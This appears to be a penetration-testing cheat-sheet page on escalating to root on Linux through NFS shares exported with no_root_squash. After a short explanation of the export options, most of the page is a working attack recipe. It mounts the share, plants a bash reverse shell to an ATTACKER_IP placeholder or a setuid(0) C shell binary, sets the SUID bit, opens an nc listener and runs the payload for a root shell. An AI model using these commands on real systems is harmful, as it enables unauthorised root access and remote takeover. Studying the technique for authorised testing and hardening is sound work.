NFS NO_ROOT_SQUASH

PRIMARY CATEGORY → LINUX PRIVESC   •   NFS

Theory

See NFS Protocol

Configuration Files

/etc/exports

Sample Config. File

/etc/exports

...<SNIP>...
/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)
...<SNIP>...

NFS Options

It applies to an NFS Volume

OPTION	DESCRIPTION
root_squash	If the Client Side Root User access an NFS Share, it will be changed to the unprivilege nfsnobody user So any file created and uploaded by the Root user will be owned by nfsnobody, which prevents an attacker to upload binaries with the SUID bit enabled
no_root_squash	Grant authority to the Client Side Root User to access, read and write resources as the Root User of the NFS Server
no_all_squash	Same as above but applies to non-root users

Important

By default, NFS uses root squash, so the Client’s Root User access is downgraded to the user nobody of the NFS Server

---

Enumeration

From the Attacker ⚔️

showmount -e <TARGET>

---

Abuse

Therefore, if no_root_squash is configured for an NFS Share and the attacker has SSH access to the target as an unprivileged user, proceed as follows →

Local Directory Creation

Create a local directory where the NFS Share is to be mounted

mkdir <LOCAL_FOLDER>

Mounting NFS Share

Mount the remote shared folder/filesystem in the created directory

mount --types nfs --options vers=2,nolock <TARGET>:<REMOTE_RESOURCE_PATH> <LOCAL_FOLDER> # Or --options vers={3,4}

Payload Creation as Local Root User inside NFS Share

As Root

Access the remote resource through the local folder and create a payload

• Reverse Shell within a Bash script

cd <LOCAL_FOLDER>
printf "bash -c 'bash -i &> /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1'" > reverse.bash

• Malicious Binary

shell.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
 
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}

gcc shell.c -o shell

SUID Privilege Assignment on the Payload

Simply assigns the SUID Privilege to the previous payload

chmod u+s reverse.bash # Or chmod 4755 reverse.bash

Payload Execution from the Target

On the attacker side, set up a listening socket with the IP Address and TCP Port specified in the payload

nc -nlvp <ATTACKER_PORT>

Then, from the target as the unprivileged user via ssh, run the payload

Note that the payload will run as Root due to the SUID permission

bash reverse.bash

After that, a Shell as Root is obtained